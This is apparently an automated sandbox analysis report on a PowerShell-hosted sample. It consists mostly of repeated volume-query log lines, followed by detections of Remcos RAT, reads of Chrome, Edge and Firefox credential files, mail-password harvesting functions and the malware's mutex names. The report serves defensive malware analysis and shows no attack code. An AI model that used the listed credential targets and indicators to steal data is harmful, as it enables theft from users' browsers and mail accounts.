                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0041881C GetSystemTime,memcpy,GetCurrentProcessId,memcpy,GetTickCount,memcpy,QueryPerformanceCounter,memcpy,12_2_0041881C
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_004082CD memset,memset,memset,memset,GetComputerNameA,GetUserNameA,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,strlen,strlen,memcpy,13_2_004082CD
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0041739B GetVersionExW,12_2_0041739B

                        Stealing of Sensitive Information

                        barindex
                        Yara detected Remcos RAT
                        Source: Yara matchFile source: 11.2.powershell.exe.8dc1288.3.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 11.2.powershell.exe.8dc1288.3.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000024.00000002.2996548604.0000000008937000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001A.00000002.2674769480.0000000008E27000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000038.00000002.4114322266.0000000008BB7000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000033.00000002.3664827412.0000000008777000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001F.00000002.2812710908.0000000008A27000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000003D.00000002.4489261708.0000000008C07000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000038.00000002.3538098442.0000000000B66000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001A.00000002.2665236037.000000000841F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2318149886.0000000002ED9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000029.00000002.2991295118.0000000002EFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2349076560.0000000008DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000024.00000002.2974752181.00000000070B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000014.00000002.2486988163.0000000008344000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000033.00000002.3644352502.00000000081C6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2349927057.0000000008E98000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000024.00000002.2987241095.000000000802F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000002E.00000002.3374030025.0000000008F37000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001F.00000002.2807960981.00000000080DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000014.00000002.2489638672.0000000008887000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000029.00000002.3167840434.0000000009157000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000042.00000002.4878837381.0000000008B7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000038.00000002.4066556135.0000000008600000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000042.00000002.4928229851.0000000009127000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6092, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7524, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7848, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8120, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 364, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7468, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1588, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8008, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3432, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6532, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3852, type: MEMORYSTR
                        Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                        Tries to harvest and steal browser information (history, passwords, etc)
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqliteJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.dbJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                        Tries to steal Mail credentials (via file registry)
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: ESMTPPassword13_2_004033F0
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, PopPassword13_2_00402DB3
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, SMTPPassword13_2_00402DB3
                        Yara detected WebBrowserPassView password recovery tool
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3532, type: MEMORYSTR

                        Remote Access Functionality

                        barindex
                        Detected Remcos RAT
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IVJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IVJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-J4I3IV
                        Yara detected Remcos RAT
                        Source: Yara matchFile source: 11.2.powershell.exe.8dc1288.3.unpack, type: UNPACKEDPE
